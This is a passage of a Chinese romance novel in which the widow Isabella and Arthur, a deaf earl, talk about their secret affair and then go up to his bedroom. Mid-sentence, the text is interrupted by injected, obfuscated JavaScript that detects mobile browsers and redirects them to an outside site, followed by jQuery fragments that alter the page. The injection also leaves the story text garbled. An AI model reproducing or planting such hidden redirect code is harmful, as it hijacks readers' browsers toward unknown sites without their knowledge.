伊莎贝拉在亚瑟图书室的四周缓缓踱步，指尖轻抚着嵌着金边的书脊，像是与这些书籍低语，也像是在触碰亚瑟沉默的思想。
她微笑着凝视那些熟悉又陌生的名字——开普勒、牛顿、伏尔泰、雪莱、狄更斯……几乎没有主题被他遗漏，也几乎没有一种语言是他不曾涉猎的。她不止一次想，若他能说话，他必是伦敦最聪慧也最不可一世的伯爵。
而如今，他却只能靠眼神和手势来告诉世界：他并非一个需要被怜悯的聋哑人。
“这是一顿非常美妙的晚餐。”她转过身，对他轻声说道。
亚瑟站在餐具柜旁，正为他们倒饮料。烛光映在他沉静的脸上，勾勒出他高挺的鼻梁与清晰的下颚线。他看到了她的话，唇边扬起一个安静的笑，微微点头。
“不要告诉我的仆人，但我认为你可能拥有英格兰最好的厨师。也许在整个帝国都是最好的。”她半真半假的取笑着，举起手中的酒杯朝他致意。
他递给她一杯雪莉酒，手势轻快：“我同意，但我们会保守秘密，否则全世界都会知道，有人会把她从我身边偷走。”
她咯咯一笑，那一刻几乎忘了寒意和隐秘的痛苦。尽管内心尚未安宁，但与他之间这份松弛而默契的友谊仍旧如此熟悉，如此真实。
“我最喜欢的，是你能让我笑。”她忽然开口，低声说道。
他怔了一下，眼神微动，没有回应，只是用眼神默默地看着她，那目光像冬夜的炉火，热度藏在深处，不轻易炽烈，却足够温暖心魂。
她知道，她一直都知道，他从不轻易给人承诺。他太清楚自己带着缺陷，也太习惯了旁人的怜悯和误解。但她不怕这些。她想靠近他，不是因为他的寂静或他的痛苦，而是因为他就是亚瑟，是那个年幼时在院子里为她摘野花、为她解释星星轨道的男孩。
“你一定很期待见到克里斯平和你的母亲。”他忽然比划着说，声音未出，却让她从沉思中惊醒。
她一瞬有些恍惚，强迫自己把注意力集中在他的问题上。
“是的。一个多月前，我离开伦敦去看望了朗斯通勋爵和夫人，你知道的，朗斯通勋爵是我亡夫的好友，而朗斯通夫人与我也缔结了深厚的友谊，所以我错过了他们俩。所以，见到他们并与他们一起度过假期……会很好。”
她停顿了一下，没能说出实情：是佩内洛普鼓励她大胆些，甚至直接地去诱惑亚瑟。那看似荒唐的建议，在那个冰冷又孤独的夜晚竟奏效了。她得到他了，至少，她得到了他的身体。
她偷偷地看他。他正微微颔首，似乎对她的话并无异议。但她从他的眼神里，看到了隐隐的波澜。他的脸颊似乎有一瞬僵硬，他的眼眸似乎闪过短暂的疑问——是因为他们之间的秘密终将被打破？还是他察觉了她语气中微妙的迟疑？
“一旦他们到达。”她小心翼翼地开口，眼神与他对视。“我想事情会变得非常不同。”
“是的，我们还有很多节日庆祝活动要做。”他打着手势，似乎有意转开话题。
“不，亚瑟……”她轻声说，眼神倔强地凝视着他。
他转过身去，像是要将自己从她的眼神中抽离开来。她知道他正在逃避，他一贯如此——在无法给出确定回应时，他宁愿沉默。
她迈步走近他，将一根手指缓缓地抬起，轻轻放在他的下巴上，迫使他去重新看向她。亚瑟的目光终于回到她脸上，眼中有一瞬间的不安，也有藏不住的痛苦。
“你……和我会怎么样呢？”她低声问，声音几乎颤抖，却带着全然的真诚与渴望。
那一刻，时间仿佛冻结了。他的眼中掠过一阵挣扎。他缓慢地抬起了手，迟疑地比划：“我以为我们已经同意这不是永久的……这就是我们能拥有的全部。”
她的心像被无形的绳索猛然勒紧，几乎无法呼吸。
“这就是你真正想要的吗？”她低声追问，语气里带着一丝哀求。
这是第无数次，她庆幸他听不出她的情绪。即便他的目光是如此锐利。
他没有回答。他转过身，在地毯上不住地踱着步，动作越来越快。他的背影带着不安与怒气，仿佛在与自己拉扯。他终于停下，从口袋中掏出他那本常带的黑色皮革小笔记本，还有一支削尖了的铅笔。他坐在靠近壁炉的扶手椅上，眉头紧蹙，笔尖几次在纸上停顿，才终于写下几行字。
他走过来，把纸递给她。她接过来，低头看着那几行潦草却沉重的字迹：
“我想要的是无关紧要的，伊莎贝拉。
这是偷来的时光，
我会非常高兴地回顾它，
用我的余生回顾它，
但它不会改变任何事。”
伊莎贝拉读完，久久未动。那纸张在她手中轻轻颤抖。她抬头看他，却发现他已再次背对着她，在炉火前弯下身添柴。他沉默如雕像，只留下火光映出的剪影。
她的喉咙哽住了。她想扑过去紧紧抱住他，大声说出那些压抑已久的情感——“我爱你”，或者，“别推开我”，又或者，只是简单地，“我们可以有未来的”。但她终究什么也没说。
她太了解这个男人了。
亚瑟不是会轻易回应要求的人。他的沉默不是因为无话可说，而是因为他习惯了拒绝自己渴望的一切。他害怕回应，因为回应意味着承诺，而承诺对他而言，是一种无法承受的奢侈。
他的残缺让他这辈子注定了什么也无法承诺。
如果有什么是她早已经学会的，那就是：直接的乞求是无法撼动他的理智的，只会令他退回那座他精心构筑的堡垒，孤立自己，封闭心门。想让他看见未来，她必须用尽手段带领他走进那个未来，而不是站在原地等着他哪天自己想通。
伊莎贝拉慢慢走近，动作轻柔仿佛怕惊扰一只受伤的野兽。她的手指落在他的肩膀上，那一瞬间，他很明显地颤抖了一下，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060509|179189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
极了他们第一次——那个暴风雪夜，在她的卧房，在沉默与渴望之间，他们身体第一次贴近时的反应。
那一夜的火焰仍在她体内燃烧，不是因为身体，而是因为她看到了他心中那个柔软、真实、不设防的片刻。
现在，他缓缓转身面对她，脸上的表情却冷峻如初，仿佛方才的震颤并不存在。他把自己再次锁在了那个熟悉的面具之后。她不怪他。他已经习惯用冷漠武装自己，用疏离来保护内心深处那一点点温柔。
伊莎贝拉逼自己露出一个微笑，语气温和却不容抗拒：“现在还没有人来，我们上楼吧，亚瑟。就当是为我们俩创造更多美好的回忆。也许你说得很对，现在不是担心未来的时候。”
她看见他的嘴唇动了一下，紧紧抿成一条线。他在挣扎。那是一种她再熟悉不过了的痛苦拉扯：理智告诉他要保持距离，可情感却早已不受控制地倾斜。
这正是她所期望的。
她不需要他马上承诺什么，她甚至不需要他说“留下”——她只要他犹豫，只要他在内心与自己抗争。
因为只有在这样的战斗中，他的心才有可能战胜他的头脑。
这一夜，他做到了。
他的手缓缓抬起，指尖先是停留在空气中，然后才像鼓起勇气般落在她手上。他粗大的手指包裹住她的手掌，温热而坚定。她几乎能感觉到他掌心微微的颤抖，也许是恐惧，也许是渴望。
她没有说话，只是任由他牵着自己，静静走出图书室。他们穿过昏黄烛光下的走廊，脚步回响在空旷的大理石地板上，回荡出一种奇异的庄重感。
走上楼梯的每一级台阶，似乎都是对未知未来的一次迈进。
来到他的房间门前，他停下，推开了门，将她引入那间他们共享过热烈与静默的卧房。她望着那熟悉的天鹅绒窗帘、厚重的地毯与古老橡木床架，一瞬间竟像走入了前夜的回音。
当他放开她的手时，她轻轻地叹了一口气。
这并不完美。他依旧没有说出她想听到的话，他的心仍然关着门。他还是那个被阴影纠缠的男人，那个明明爱她却不敢梦想未来的耳聋伯爵。
但这已经是一个进步。
她没有逼迫他，没有恳求他，她只是站在这里，用身体与存在告诉他：我愿意留下，只要你愿意让我留下。
她知道，随着她离自己渴望的生活越来越近，她也正走向一个没有保障的深渊。爱他，意味着她将不得不接受不确定，接受他心底那些深不见底的伤痕与恐惧。而这一切，将对她的身体、心灵乃至灵魂，都是一场极其严酷的考验。
可她不后悔。
只要他肯再次牵她的手，哪怕不说一句话，哪怕明天他们必须重新开始，她都愿意为这一刻付出全部。
她回头看他。他站在门边，身影被火光拉得修长。她朝他伸出手，什么也没说。
他犹豫了一瞬，便关上门，走向她。